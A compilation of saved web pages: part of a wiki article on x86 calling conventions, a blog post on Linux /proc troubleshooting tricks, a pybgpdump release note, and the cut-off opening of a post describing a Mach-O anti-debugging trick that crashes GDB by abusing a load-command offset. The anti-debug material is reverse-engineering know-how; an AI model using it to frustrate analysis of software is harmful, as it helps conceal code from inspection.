In these conventions the caller cleans the arguments from the stack, which
allows for variable argument lists, eg. printf\(\).

### \[edit\]cdecl

The **cdecl** calling convention is used by many C systems for the x86
architecture. In cdecl, function parameters are pushed on the stack in a
right-to-left order. Function return values are returned in the EAX register
\(except for floating point values, which are returned in the x87 register
ST0\). Registers EAX, ECX, and EDX are available for use in the function.

For instance, the following C code function prototype and function call:

[code]

    int function_name(int, int, int);
    int a, b, c, x;
    ...
    x = function_name(a, b, c);
    
    
[/code]

will produce the following x86 Assembly code \(written in MASM syntax, with
destination first\):

[code]

    push c
    push b
    push a
    call function_name
    add esp, 12 ;Stack clearing
    mov x, eax
    
    
[/code]

The calling function cleans the stack after the function call returns.

There are some variations in the interpretation of cdecl, particularly in how
to return values. As a result, x86 programs compiled for different operating
system platforms and/or by different compilers can be incompatible, even if
they both use the "cdecl" convention and do not call out to the underlying
environment. Some compilers return simple data structures with the length of 2
registers or less in EAX:EDX, and larger structures and class objects
requiring special treatment by the exception handler \(e.g., a defined
constructor, destructor, or assignment\) are returned in memory. To pass "in
memory", the caller allocates memory and passes a pointer to it as a hidden
first parameter; the callee populates the memory and returns the pointer,
popping the hidden pointer when returning.

In Linux/gcc double/floating point values should be pushed on the stack via
the x87 pseudo-stack. Like so:

[code]

    sub esp,8;    make room for the double
    fld [ebp+x]; load our double onto the floating point stack
    fstp [esp];  push our double onto the stack
    call func;
    add esp,8;
    
    
[/code]

Using this method ensures it is pushed on the stack in the correct format.

The **cdecl** calling convention is usually the default calling convention for
x86 C compilers, although many compilers provide options to automatically
change the calling conventions used. To manually define a function to be
cdecl, some support the following syntax:

[code]

    void _cdecl function_name(params);
    
    
[/code]

The **\_cdecl** modifier must be included in the function prototype, and in
the function declaration to override any other settings that might be in
place.

### \[edit\]syscall

This is similar to cdecl in that arguments are pushed right to left. EAX, ECX,
and EDX are not preserved. The size of the parameter list in doublewords is
passed in AL.

Syscall is the standard calling convention for 32 bit OS/2 API.

### \[edit\]optlink

Arguments are pushed right to left. The three lexically first \(leftmost\)
arguments are passed in EAX, EDX, and ECX and up to four floating-point
arguments are passed in ST\(0\) through ST\(3\), although space for them is
reserved in the argument list on the stack. Results are returned in EAX or
ST\(0\). Registers EBP, EBX, ESI, and EDI are preserved.

Optlink is used by the IBM VisualAge compilers.

## \[edit\]Callee clean-up

When the callee cleans the arguments from the stack it needs to be known at
compile time how many bytes the stack needs to be adjusted. Therefore, these
calling conventions are not compatible with variable argument lists, eg.
printf\(\). They may be, however, slightly more efficient as the code needed
to unwind the stack does not need to be generated by the calling code.

Functions which utilize these conventions are easy to recognize in ASM code
because they will unwind the stack prior to returning. The x86 `ret`
instruction allows an optional byte parameter that specifies the number of
stack locations to unwind before returning to the caller. Such code looks like
this:

[code]

     ret 12
    
    
[/code]

### \[edit\]pascal

The parameters are pushed on the stack in left-to-right order \(opposite of
cdecl\), and the callee is responsible for balancing the stack before return.

This calling convention was common in the following 16 bit APIs: OS/2 1.x ,
Microsoft Windows 3.x, and Borland Delphi version 1.x.

### \[edit\]register

An alias for Borland fastcall.

### \[edit\]stdcall

The stdcall\[1\] calling convention is a variation on the pascal calling
convention in which parameters are passed on the stack, pushed right-to-left.
Registers EAX, ECX, and EDX are designated for use within the function. Return
values are stored in the EAX register. The callee is responsible for cleanup
of the stack.

Stdcall is the standard calling convention for the Microsoft Win32 API and for
Open Watcom C++.

### \[edit\]fastcall

Conventions entitled **fastcall** have not been standardized, and have been
implemented differently, depending on the compiler vendor. Typically fastcall
calling conventions pass one or more arguments in registers which reduces the
number of memory accesses required for the call.

#### \[edit\]Microsoft fastcall

  * Microsoft or GCC \[2\] `__fastcall`\[3\] convention \(aka `__msfastcall`\) passes the first two arguments \(evaluated left to right\) that fit into ECX and EDX. Remaining arguments are pushed onto the stack from right to left.

#### \[edit\]Borland fastcall

Evaluating arguments from left to right, it passes three arguments via EAX,
EDX, ECX. Remaining arguments are pushed onto the stack, also left to right.

It is the default calling convention of Borland Delphi, where it is known as
_register_.

#### \[edit\]Watcom register based calling convention

Watcom does not support the  _\_\_fastcall_ keyword except to alias it to
null. The register calling convention may be selected by command line switch.
\(However, IDA uses _\_\_fastcall_ anyway for uniformity\)

Up to 4 registers are assigned to arguments in the order eax, edx, ebx, ecx.
Arguments are assigned to registers from left to right. If any argument cannot
be assigned to a register \(say it is too large\) it, and all subsequent
arguments, are assigned to the stack. Arguments assigned to the stack are
pushed from right to left. Names are mangled by adding a suffixed underscore.

Variadic functions fall back to the Watcom stack based calling convention.

The Watcom C/C++ compiler also uses the `#pragma aux`\[4\] directive that
allows the user to specify his own calling convention. As its manual states,
"Very few users are likely to need this method, but if it is needed, it can be
a lifesaver".

#### \[edit\]TopSpeed / Clarion / JPI

The first four integer parameters are passed in registers eax, ebx, ecx and
edx. Floating point parameters are passed on the floating point stack –
registers st0, st1, st2, st3, st4, st5 and st6. Structure parameters are
always passed on the stack. Additional parameters are passed on the stack
after registers are exhausted. Integer values are returned in eax, pointers in
edx and floating point types in st0.

### \[edit\]safecall

In Borland Delphi on Microsoft Windows, the safecall calling convention
encapsulates COM \(Component Object Model\) error handling, so that exceptions
aren't leaked out to the caller, but are reported in the HRESULT return value,
as required by COM/OLE. When calling a safecall function from Delphi code,
Delphi also automatically checks the returned HRESULT and raises an exception
if necessary. Together with language-level support for COM interfaces and
automatic IUnknown handling \(implicit AddRef/Release/QueryInterface calls\),
the safecall calling convention makes COM/OLE programming in Delphi easy and
elegant.

The safecall calling convention is the same as the stdcall calling convention,
except that exceptions are passed back to the caller in EAX as a HResult
\(instead of in FS:\[0\]\), while the function result is passed by reference
on the stack as though it were a final "out" parameter. When calling a Delphi
function from Delphi this calling convention will appear just like any other
calling convention, because although exceptions are passed back in EAX, they
are automatically converted back to proper exceptions by the caller. When
using COM objects created in other languages, the HResults will be
automatically raised as exceptions, and the result for Get functions is in the
result rather than a parameter. When creating COM objects in Delphi with
safecall, there is no need to worry about HResults, as exceptions can be
raised as normal but will be seen as HResults in other languages.

[code]

    function function_name(a: DWORD): DWORD; safecall;
    
    
[/code]

Returns a result and raises exceptions like a normal Delphi function, but it
passes values and exceptions as though it was:

[code]

    function function_name(a: DWORD; out Result: DWORD): HResult; stdcall;
    
    
[/code]

<img src='img/Temp2_10776.png' width='20' height='20' alt='Wiki letter w.svg'
/>| This section requires expansion.  
---|---  
## \[edit\]Either caller or callee clean-up

### \[edit\]thiscall

This calling convention is used for calling C++ non-static member functions.
There are two primary versions of **thiscall** used depending on the compiler
and whether or not the function uses variable arguments.

For the GCC compiler, **thiscall** is almost identical to **cdecl** : the
calling function cleans the stack, and the parameters are passed in right-to-
left order. The difference is the addition of the **this** pointer, which is
pushed onto the stack last, as if it were the first parameter in the function
prototype.

On the Microsoft Visual C++ compiler, the **this** pointer is passed in ECX
and it is the  _callee_ that cleans the stack, mirroring the **stdcall**
convention used in C for this compiler and in Windows API functions. When
functions use a variable number of arguments, it is the caller that cleans the
stack \(cf. **cdecl**\).

The **thiscall** calling convention can only be explicitly specified on
Microsoft Visual C++ 2005 and later. On any other compiler  _thiscall_ is not
a keyword. \(Disassemblers likeIDA, however, have to specify it anyway. So IDA
uses keyword  _\_\_thiscall_ for this\)

## \[edit\]Intel ABI

The Intel Application Binary Interface is a computer programming standard that
most compilers and languages follow.\[_citation needed_\] According to the
Intel ABI, the EAX, EDX, and ECX are to be free for use within a procedure or
function, and need not be preserved.

## \[edit\]Microsoft x64 calling convention

The x64 calling convention \(for long mode on x86-64\) takes advantage of
additional register space in the AMD64/Intel 64 platform. The registers RCX,
RDX, R8, R9 are used for integer and pointer arguments, and XMM0, XMM1, XMM2,
XMM3 are used for floating point arguments. Additional arguments are pushed
onto the stack. The return value is stored in RAX.

When compiling for the x64 architecture using Microsoft tools, there is only
one calling convention — the one described here, so that stdcall, thiscall,
cdecl, fastcall, etc., are now all one and the same.

In the Microsoft x64 calling convention, it's the caller's responsibility to
allocate 32 bytes of "shadow space" on the stack right before calling the
function \(regardless of the actual number of parameters used\), and to pop
the stack after the call. The shadow space is used to spill RCX, RDX, R8, and
R9.\[_citation needed_\]

In x86-64, Visual Studio 2007 stores floating point numbers in XMM6 and XMM7
\(as well as XMM8 through XMM15\); consequently, for x86-64, user-written
assembly language routines must preserve XMM6 and XMM7 \(as compared to x86
wherein user-written assembly language routines did not need to preserve XMM6
and XMM7\). In other words, user-written assembly language routines must be
updated to save/restore XMM6 and XMM7 before/after the function when being
ported from x86 to x86-64.

On x86, one could create thunks that convert any function call from stdcall to
thiscall by placing the 'this' pointer in ECX and jumping to the member
function address. In x64 a universal stdcall-to-thiscall thunk cannot be
written, except for functions that take no arguments. Putting the implicit
'this' in place requires shifting all the arguments, whose number and sizes
are unknown.

## \[edit\]AMD64 ABI convention

The calling convention of the AMD64 application binary interface is followed
on Linux and other non-Microsoft operating systems. The registers RDI, RSI,
RDX, RCX, R8 and R9 are used for integer and pointer arguments while XMM0,
XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 and XMM7 are used for floating point
arguments. As in the Microsoftx64 calling convention, additional arguments are
pushed onto the stack and the return value is stored in RAX.

## \[edit\]Standard exit and entry sequences for C code

The **Standard Entry Sequence** to a function is as follows:

[code]

    _function:
        push ebp       ;store the old base pointer
        mov ebp, esp   ;make the base pointer point to the current
                       ;stack location – at the top of the stack is the 
                       ;old ebp, followed by the return address and then
                       ;the parameters.
        sub esp, x     ;x is the size, in bytes, of all
                       ;"automatic variables" in the function
    
    
[/code]

This sequence preserves the original base pointer EBP; points EBP to the
current stack pointer \(which points at the old EBP, followed by the return
address and then the function parameters\); and then creates space for
automatic variables on the stack. Local variables are created on the stack
with each call to the function, and are cleaned up at the end of each
function. This behaviour allows for functions to be called recursively. In C
and C++, variables declared "automatic" are created in this way.

The **Standard Exit Sequence** goes as follows:

[code]

    mov esp, ebp   ;reset the stack to "clean" away the local variables
    pop ebp        ;restore the original base pointer
    ret            ;return from the function
    
    
[/code]

Recovering the previous frame is an action so common that there's an opcode
just to do that, called 'leave'. Thus, the exit sequence can also be written
as follows:

[code]

    leave          ;reset the stack and restore the original base pointer
    ret            ;return from the function
    
    
[/code]

While functions tend to have only one entry point, they may have multiple exit
points, and thus may well have more than one standard exit sequence, or a jump
to the standard exit sequence in the function body.

The following C function:

[code]

    int _cdecl MyFunction(int i){ 
        int k;
        return i + k;
    }
    
    
[/code]

would produce the equivalent asm code:

[code]

    ;entry sequence
    push ebp
    mov ebp, esp
    sub esp, 4     ;create function stack frame
     
    ;function code
    mov eax, [ebp + 8] 
                   ;move parameter i to accumulator
    add eax, [ebp - 4]
                   ;add k to i
                   ;result is returned in eax
     
    ;exit sequence
    mov esp, ebp
    pop ebp
    ret
    
    
[/code]

Many compilers can optimize these standard sequences away when not needed, for
instance when a function does not use local temporaries \(often called "no
stackframe generation"\). If you require them e.g. for interlanguage
interfacing, you probably need to search your compiler manual for a compiler
directive \(or pragma\) to turn this kind of optimization locally off.

## \[edit\]References

<img src='img/Temp2_10775.png' width='40' height='40' alt='Text document with
red question mark.svg' />| This article includes a list of references, related
reading or external links, but **its sources remain unclear because it
lacksinline citations.** Please improve this article by introducing more
precise citations where appropriate.  _\(February 2008\)_  
---|---  
  * System V Application Binary Interface Intel386 Architecture Processor Supplement
  * The Code Project—Calling Conventions Demystified
  * Intel x86 Function-call Conventions – Assembly View
  * Microsoft x64 Calling Convention
  * Calling Conventions
  * Calling Conventions on x86 by Agner Fog \(pdf\)
  * AMD64 ABI \(pdf\)
  * The Old New Thing — the history of calling conventions \(by Raymond Chen\) — Part1, Part2, Part3, Part4\(ia64\), Part5\(amd64\)

## \[edit\]External links

  * Funzioni e convenzioni di chiamata in delphi e assembler

# Solving problems with proc \(Ksplice Blog\)

**Created:**| _2/1/2012 6:13:46 PM_  
---|---  
**Updated:**| _2/1/2012 6:13:51 PM_  
**Author:**| __  
**Tags:**| _Linux commandline-kungfu_  
  

### Solving problems with proc

#### By Ksplice Post Importer on Jan 10, 2011

The Linux kernel exposes a wealth of information through the `proc` special
filesystem. It's not hard to find an encyclopedic reference about `proc`. In
this article I'll take a different approach: we'll see how `proc` tricks can
solve a number of real-world problems. All of these tricks should work on a
recent Linux kernel, though some will fail on older systems like RHEL version
4.

Almost all Linux systems will have the `proc` filesystem mounted at `/proc`.
If you look inside this directory you'll see a ton of stuff:

[code]

    keegan@lyle$ mount | grep ^proc
    proc on /proc type proc (rw,noexec,nosuid,nodev)
    keegan@lyle$ ls /proc
    1      13     23     29672  462        cmdline      kcore         self
    10411  13112  23842  29813  5          cpuinfo      keys          slabinfo
    ...
    12934  15260  26317  4      bus        irq          partitions    zoneinfo
    12938  15262  26349  413    cgroups    kallsyms     sched_debug
    
[/code]

These directories and files don't exist anywhere on disk. Rather, the kernel
generates the contents of `/proc` as you read it. `proc` is a great example of
the UNIX "everything is a file" philosophy. Since the Linux kernel exposes its
internal state as a set of ordinary files, you can build tools using basic
shell scripting, or any other programming environment you like. You can also
change kernel behavior by writing to certain files in `/proc`, though we won't
discuss this further.

Each process has a directory in `/proc`, named by its numerical process
identifier \(PID\). So for example, information about `init` \(PID 1\) is
stored in `/proc/1`. There's also a symlink `/proc/self`, which each process
sees as pointing to its own directory:

[code]

    keegan@lyle$ ls -l /proc/self
    lrwxrwxrwx 1 root root 64 Jan 6 13:22 /proc/self -> 13833
    
[/code]

Here we see that 13833 was the PID of the `ls` process. Since `ls` has exited,
the directory `/proc/13883` will have already vanished, unless your system
reused the PID for another process. The contents of `/proc` are constantly
changing, even in response to your queries\!

### Back from the dead

It's happened to all of us. You hit the up-arrow one too many times and
accidentally wiped out that _really_ important disk image.

[code]

    keegan@lyle$ rm hda.img
    
[/code]

Time to think fast\! Luckily you were still computing its checksum in another
terminal. And UNIX systems won't actually delete a file on disk while the file
is in use. Let's make sure our file stays "in use" by suspending `md5sum` with
control-Z:

[code]

    keegan@lyle$ md5sum hda.img
    ^Z
    [1]+  Stopped                 md5sum hda.img
    
[/code]

The `proc` filesystem contains links to a process's open files, under the `fd`
subdirectory. We'll get the PID of `md5sum` and try to recover our file:

[code]

    keegan@lyle$ jobs -l
    [1]+ 14595 Stopped                 md5sum hda.img
    keegan@lyle$ ls -l /proc/14595/fd/
    total 0
    lrwx------ 1 keegan keegan 64 Jan 6 15:05 0 -> /dev/pts/18
    lrwx------ 1 keegan keegan 64 Jan 6 15:05 1 -> /dev/pts/18
    lrwx------ 1 keegan keegan 64 Jan 6 15:05 2 -> /dev/pts/18
    lr-x------ 1 keegan keegan 64 Jan 6 15:05 3 -> /home/keegan/hda.img (deleted)
    keegan@lyle$ cp /proc/14595/fd/3 saved.img
    keegan@lyle$ du -h saved.img
    320G    saved.img
    
[/code]

Disaster averted, thanks to `proc`. There's one big caveat: making a full
byte-for-byte copy of the file could require a lot of time and free disk
space. In theory this isn't necessary; the file still exists on disk, and we
just need to make a new name for it \(a hardlink\). But the `ln` command and
associated system calls have no way to name a deleted file. On FreeBSD we
could use `fsdb`, but I'm not aware of a similar tool for Linux. Suggestions
are welcome\!

### Redirect harder

Most UNIX tools can read from standard input, either by default or with a
specified filename of "`-`". But sometimes we have to use a program which
requires an explicitly named file. `proc` provides an elegant workaround for
this flaw.

A UNIX process refers to its open files using integers called _file
descriptors_. When we say "standard input", we really mean "file descriptor
0". So we can use `/proc/self/fd/0` as an explicit name for standard input:

[code]

    keegan@lyle$ cat crap-prog.py 
    import sys
    print file(sys.argv[1]).read()
    
[/code]

[code]

    keegan@lyle$ echo hello | python crap-prog.py 
    IndexError: list index out of range
    keegan@lyle$ echo hello | python crap-prog.py -
    IOError: [Errno 2] No such file or directory: '-'
    keegan@lyle$ echo hello | python crap-prog.py /proc/self/fd/0
    hello
    
[/code]

This also works for standard output and standard error, on file descriptors 1
and 2 respectively. This trick is useful enough that many distributions
provide symlinks at `/dev/stdin`, etc.

There are a lot of possibilities for where `/proc/self/fd/0` might point:

[code]

    keegan@lyle$ ls -l /proc/self/fd/0
    lrwx------ 1 keegan keegan 64 Jan  6 16:00 /proc/self/fd/0 -> /dev/pts/6
    keegan@lyle$ ls -l /proc/self/fd/0 < /dev/null
    lr-x------ 1 keegan keegan 64 Jan  6 16:00 /proc/self/fd/0 -> /dev/null
    keegan@lyle$ echo | ls -l /proc/self/fd/0
    lr-x------ 1 keegan keegan 64 Jan  6 16:00 /proc/self/fd/0 -> pipe:[9159930]
    
[/code]

In the first case, stdin is the pseudo-terminal created by my `screen`
session. In the second case it's redirected from a different file. In the
third case, stdin is an anonymous pipe. The symlink target isn't a real
filename, but `proc` provides the appropriate magic so that we can read the
file anyway. The filesystem nodes for anonymous pipes live in the `pipefs`
special filesystem — specialer than `proc`, because it can't even be mounted.

### The phantom progress bar

Say we have some program which is slowly working its way through an input
file. We'd like a progress bar, but we already launched the program, so it's
too late for `pv`.

Alongside `/proc/$PID/fd` we have `/proc/$PID/fdinfo`, which will tell us
\(among other things\) a process's current position within an open file. Let's
use this to make a little script that will attach a progress bar to an
existing process:

[code]

    keegan@lyle$ cat phantom-progress.bash
    #!/bin/bash
    fd=/proc/$1/fd/$2
    fdinfo=/proc/$1/fdinfo/$2
    name=$(readlink $fd)
    size=$(wc -c $fd | awk '{print $1}')
    while [ -e $fd ]; do
      progress=$(cat $fdinfo | grep ^pos | awk '{print $2}')
      echo $((100*$progress / $size))
      sleep 1
    done | dialog --gauge "Progress reading $name" 7 100
    
[/code]

We pass the PID and a file descriptor as arguments. Let's test it:

[code]

    keegan@lyle$ cat slow-reader.py 
    import sys
    import time
    f = file(sys.argv[1], 'r')
    while f.read(1024):
      time.sleep(0.01)
    
[/code]

[code]

    keegan@lyle$ python slow-reader.py bigfile &
    [1] 18589
    keegan@lyle$ ls -l /proc/18589/fd
    total 0
    lrwx------ 1 keegan keegan 64 Jan  6 16:40 0 -> /dev/pts/16
    lrwx------ 1 keegan keegan 64 Jan  6 16:40 1 -> /dev/pts/16
    lrwx------ 1 keegan keegan 64 Jan  6 16:40 2 -> /dev/pts/16
    lr-x------ 1 keegan keegan 64 Jan  6 16:40 3 -> /home/keegan/bigfile
    keegan@lyle$ ./phantom-progress.bash 18589 3
    
[/code]

And you should see a nice `curses` progress bar, courtesy of `dialog`. Or
replace `dialog` with `gdialog` and you'll get a GTK+ window.

### Chasing plugins

A user comes to you with a problem: every so often, their instance of
Enterprise FooServer will crash and burn. You read up on Enterprise FooServer
and discover that it's a plugin-riddled behemoth, loading dozens of shared
libraries at startup. Loading the wrong library could very well cause
mysterious crashing.

The exact set of libraries loaded will depend on the user's config files, as
well as environment variables like `LD_PRELOAD` and `LD_LIBRARY_PATH`. So you
ask the user to start `fooserver` exactly as they normally do. You get the
process's PID and dump its memory map:

[code]

    keegan@lyle$ cat /proc/21637/maps
    00400000-00401000 r-xp 00000000 fe:02 475918             /usr/bin/fooserver
    00600000-00601000 rw-p 00000000 fe:02 475918             /usr/bin/fooserver
    02519000-0253a000 rw-p 00000000 00:00 0                  [heap]
    7ffa5d3c5000-7ffa5d3c6000 r-xp 00000000 fe:02 1286241    /usr/lib/foo-1.2/libplugin-bar.so
    7ffa5d3c6000-7ffa5d5c5000 ---p 00001000 fe:02 1286241    /usr/lib/foo-1.2/libplugin-bar.so
    7ffa5d5c5000-7ffa5d5c6000 rw-p 00000000 fe:02 1286241    /usr/lib/foo-1.2/libplugin-bar.so
    7ffa5d5c6000-7ffa5d5c7000 r-xp 00000000 fe:02 1286243    /usr/lib/foo-1.3/libplugin-quux.so
    7ffa5d5c7000-7ffa5d7c6000 ---p 00001000 fe:02 1286243    /usr/lib/foo-1.3/libplugin-quux.so
    7ffa5d7c6000-7ffa5d7c7000 rw-p 00000000 fe:02 1286243    /usr/lib/foo-1.3/libplugin-quux.so
    7ffa5d7c7000-7ffa5d91f000 r-xp 00000000 fe:02 4055115    /lib/libc-2.11.2.so
    7ffa5d91f000-7ffa5db1e000 ---p 00158000 fe:02 4055115    /lib/libc-2.11.2.so
    7ffa5db1e000-7ffa5db22000 r--p 00157000 fe:02 4055115    /lib/libc-2.11.2.so
    7ffa5db22000-7ffa5db23000 rw-p 0015b000 fe:02 4055115    /lib/libc-2.11.2.so
    7ffa5db23000-7ffa5db28000 rw-p 00000000 00:00 0 
    7ffa5db28000-7ffa5db2a000 r-xp 00000000 fe:02 4055114    /lib/libdl-2.11.2.so
    7ffa5db2a000-7ffa5dd2a000 ---p 00002000 fe:02 4055114    /lib/libdl-2.11.2.so
    7ffa5dd2a000-7ffa5dd2b000 r--p 00002000 fe:02 4055114    /lib/libdl-2.11.2.so
    7ffa5dd2b000-7ffa5dd2c000 rw-p 00003000 fe:02 4055114    /lib/libdl-2.11.2.so
    7ffa5dd2c000-7ffa5dd4a000 r-xp 00000000 fe:02 4055128    /lib/ld-2.11.2.so
    7ffa5df26000-7ffa5df29000 rw-p 00000000 00:00 0 
    7ffa5df46000-7ffa5df49000 rw-p 00000000 00:00 0 
    7ffa5df49000-7ffa5df4a000 r--p 0001d000 fe:02 4055128    /lib/ld-2.11.2.so
    7ffa5df4a000-7ffa5df4b000 rw-p 0001e000 fe:02 4055128    /lib/ld-2.11.2.so
    7ffa5df4b000-7ffa5df4c000 rw-p 00000000 00:00 0 
    7fffedc07000-7fffedc1c000 rw-p 00000000 00:00 0          [stack]
    7fffedcdd000-7fffedcde000 r-xp 00000000 00:00 0          [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0  [vsyscall]
    
[/code]

That's a serious red flag: `fooserver` is loading the `bar` plugin from
FooServer version 1.2 and the `quux` plugin from FooServer version 1.3. If the
versions aren't binary-compatible, that might explain the mysterious crashes.
You can now hassle the user for their config files and try to fix the problem.

Just for fun, let's take a closer look at what the memory map means. Right
away, we can recognize a memory address range \(first column\), a filename
\(last column\), and file-like permission bits `rwx`. So each line indicates
that the contents of a particular file are available to the process at a
particular range of addresses with a particular set of permissions. For more
details, see the `proc` manpage.

The executable itself is mapped twice: once for executing code, and once for
reading and writing data. The same is true of the shared libraries. The flag
`p` indicates a private mapping: changes to this memory area will not be
shared with other processes, or saved to disk. We certainly don't want the
global variables in a shared library to be shared by every process which loads
that library. If you're wondering, as I was, why some library mappings have no
access permissions, see this `glibc` source comment. There are also a number
of "anonymous" mappings lacking filenames; these exist in memory only. An
allocator like `malloc` can ask the kernel for such a mapping, then parcel out
this storage as the application requests it.

The last two entries are special creatures which aim to reduce system call
overhead. At boot time, the kernel will determine the fastest way to make a
system call on your particular CPU model. It builds this instruction sequence
into a little shared library in memory, and provides this virtual dynamic
shared object \(named `vdso`\) for use by userspace code. Even so, the
overhead of switching to the kernel context should be avoided when possible.
Certain system calls such as `gettimeofday` are merely reading information
maintained by the kernel. The kernel will store this information in the public
virtual system call page \(named `vsyscall`\), so that these "system calls"
can be implemented entirely in userspace.

### Counting interruptions

We have a process which is taking a long time to run. How can we tell if it's
CPU-bound or IO-bound?

When a process makes a system call, the kernel might let a different process
run for a while before servicing the request. This _voluntary_ context switch
is especially likely if the system call requires waiting for some resource or
event. If a process is only doing pure computation, it's not making any system
calls. In that case, the kernel uses a hardware timer interrupt to eventually
perform a _nonvoluntary_ context switch.

The file `/proc/$PID/status` has fields labeled `voluntary_ctxt_switches` and
`nonvoluntary_ctxt_switches` showing how many of each event have occurred.
Let's try our slow reader process from before:

[code]

    keegan@lyle$ python slow-reader.py bigfile &
    [1] 15264
    keegan@lyle$ watch -d -n 1 'cat /proc/15264/status | grep ctxt_switches'
    
[/code]

You should see mostly voluntary context switches. Our program calls into the
kernel in order to read or sleep, and the kernel can decide to let another
process run for a while. We could use `strace` to see the individual calls.
Now let's try a tight computational loop:

[code]

    keegan@lyle$ cat tightloop.c
    int main() {
      while (1) {
      }
    }
[/code]

[code]

    keegan@lyle$ gcc -Wall -o tightloop tightloop.c
    keegan@lyle$ ./tightloop &
    [1] 30086
    keegan@lyle$ watch -d -n 1 'cat /proc/30086/status | grep ctxt_switches'
    
[/code]

You'll see exclusively nonvoluntary context switches. This program isn't
making system calls; it just spins the CPU until the kernel decides to let
someone else have a turn. Don't forget to kill this useless process\!

### Staying ahead of the OOM killer

The Linux memory subsystem has a nasty habit of making promises it can't keep.
A userspace program can successfully allocate as much memory as it likes. The
kernel will only look for free space in physical memory once the program
actually writes to the addresses it allocated. And if the kernel can't find
enough space, a component called the OOM killer will use an ad-hoc heuristic
to choose a victim process and unceremoniously kill it.

Needless to say, this feature is controversial. The kernel has no reliable
idea of who's actually responsible for consuming the machine's memory. The
victim process may be totally innocent. You can disable memory overcommitting
on your own machine, but there's inherent risk in breaking assumptions that
processes make — even when those assumptions are harmful.

As a less drastic step, let's keep an eye on the OOM killer so we can predict
where it might strike next. The victim process will be the process with the
highest "OOM score", which we can read from `/proc/$PID/oom_score`:

[code]

    keegan@lyle$ cat oom-scores.bash
    #!/bin/bash
    for procdir in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+'); do
      printf "%10d %6d %s\n" \
        "$(cat $procdir/oom_score)" \
        "$(basename $procdir)" \
        "$(cat $procdir/cmdline | tr '\0' ' ' | head -c 100)"
    done 2>/dev/null | sort -nr | head -n 20
    
[/code]

For each process we print the OOM score, the PID \(obtained from the directory
name\) and the process's command line. `proc` provides string arrays in
`NULL`-delimited format, which we convert using `tr`. It's important to
suppress error output using `2>/dev/null` because some of the processes found
by `find` \(including `find` itself\) will no longer exist within the loop.
Let's see the results:

[code]

    keegan@lyle$ ./oom-scores.bash 
      13647872  15439 /usr/lib/chromium-browser/chromium-browser --type=plugin
       1516288  15430 /usr/lib/chromium-browser/chromium-browser --type=gpu-process
       1006592  13204 /usr/lib/nspluginwrapper/i386/linux/npviewer.bin --plugin
        687581  15264 /usr/lib/chromium-browser/chromium-browser --type=zygote
        445352  14323 /usr/lib/chromium-browser/chromium-browser --type=renderer
        444930  11255 /usr/lib/chromium-browser/chromium-browser --type=renderer
    ...
    
[/code]

Unsurprisingly, my web browser and Flash plugin are prime targets for the OOM
killer. But the rankings might change if some runaway process caused an actual
out-of-memory condition. Let's \(carefully\!\) run a program that will
\(slowly\!\) eat 500 MB of RAM:

[code]

    keegan@lyle$ cat oomnomnom.c
    #include <unistd.h>
    #include <string.h>
    #include <sys/mman.h>
    #define SIZE (10*1024*1024)
    
    int main() {
      int i;
      for (i=0; i<50; i++) {
        void *m = mmap(NULL, SIZE, PROT_WRITE,
          MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
        memset(m, 0x80, SIZE);
        sleep(1);
      }
      return 0;
    }
[/code]

On each loop iteration, we ask for 10 megabytes of memory as a private,
anonymous \(non-file-backed\) mapping. We then write to this region, so that
the kernel will have to allocate some physical RAM. Now we'll watch OOM scores
and free memory as this program runs:

[code]

    keegan@lyle$ gcc -Wall -o oomnomnom oomnomnom.c
    keegan@lyle$ ./oomnomnom &
    [1] 19697
    keegan@lyle$ watch -d -n 1 './oom-scores.bash; echo; free -m'
    
[/code]

You'll see `oomnomnom` climb to the top of the list.

So we've seen a few ways that `proc` can help us solve problems. Actually,
we've only scratched the surface. Inside each process's directory you'll find
information about resource limits, chroots, CPU affinity, page faults, and
much more. What are your favorite `proc` tricks? Let us know in the comments\!

~keegan

# jon.oberheide.org - blog - pybgpdump 0.1 released

**Created:**| _6/22/2009 1:06:01 PM_  
---|---  
**Updated:**| _6/22/2009 1:06:11 PM_  
**Author:**| __  
**Tags:**| _network-security_  
  

# pybgpdump 0.1 Released

I’m happy to announce the availability of pybgpdump 0.1, a tool to assist in
the rapid analysis of BGP routing datasets. It combines the functionality of
libbgpdump and the ease of python to parse BGP messages from MRT dumps.

## Features

Currently, analysis of BGP routing data is primarily done in C, using either
libbgpdump \(RIPE\) or route\_btoa \(Labovitz\). While effective in their own
right, they lack the ease, speed, and simplicity of python development.

pybgpdump currently supports parsing the MRT BGP4MP\_MESSAGE entries found in
the Zebra dumps, such as the UPDATES files archived at Routeviews and RIPE,
into convenient python objects. It also has the capability to transparently
process MRT dumps compressed with gzip or bzip2.

pybgpdump relies heavily on the BGP and MRT modules of dpkt, which were
recently committed and are available in the 1.6 release of dpkt.

## Sample

The follow sample usage demonstrates how easy it is to utilize pybgpdump. This
sample rips through the entries of a MRT dump and simply tracks the cumulative
number of BGP update messages, announced routes, and withdrawn routes.

[code]

    dump = BGPDump(filename)
    for mrt_h, bgp_h, bgp_m in dump:
        messages += 1
        announced += len(bgp_m.update.announced)
        withdrawn += len(bgp_m.update.withdrawn)
    
[/code]

## Links

  * pybgpdump homepage
  * Google Code project

# Anti-debug trick \#1: Abusing Mach-O to crash GDB | Reverse Engineering Mac OS X
**Created:**| _2/1/2012 6:18:21 PM_  
---|---  
**Updated:**| _2/1/2012 6:18:25 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking anti-debugging_  
  

# Anti-debug trick \#1: Abusing Mach-O to crash GDB

January 31, 2012 in Mac Reversing | No comments
I developed this funny trick while trying to find a solution for a problem in
a freelance project. It is pretty easy to implement and fun <img
src='img/Temp2_850.gif' alt=':-)' />

The trick consists in abusing the offset field in the dylib\_command and
pointing it to somewhere else. From the Mach-O File Format Reference, the
command structures are:

[code]

    struct dylib_command              struct dylib                            union lc_str
    {                                 {                                       {
     uint_32 cmd;                      union lc_str name;                      uint32_t offset;
     uint_32 cmdsize;                  uint_32 timestamp;                      #ifndef __LP64__
     struct dylib dylib;               uint_32 current_version;                char *ptr;
    }                                  uint_32 compatibility_version;          #endif
                                      }                                       }
[/code]

The definition of the offset field is:  
“A long integer. A byte offset from the start of the load command that
contains this string to the start of the string data.”

Usually this field is always 0×18 \(24 bytes\). This means that the library
name string is located after the dylib\_command command, whose size is 24
bytes. Right now your evil brain should be interpreting that definition as “an
offset \(anywhere\) that contains the start of the string data“. If not, don’t
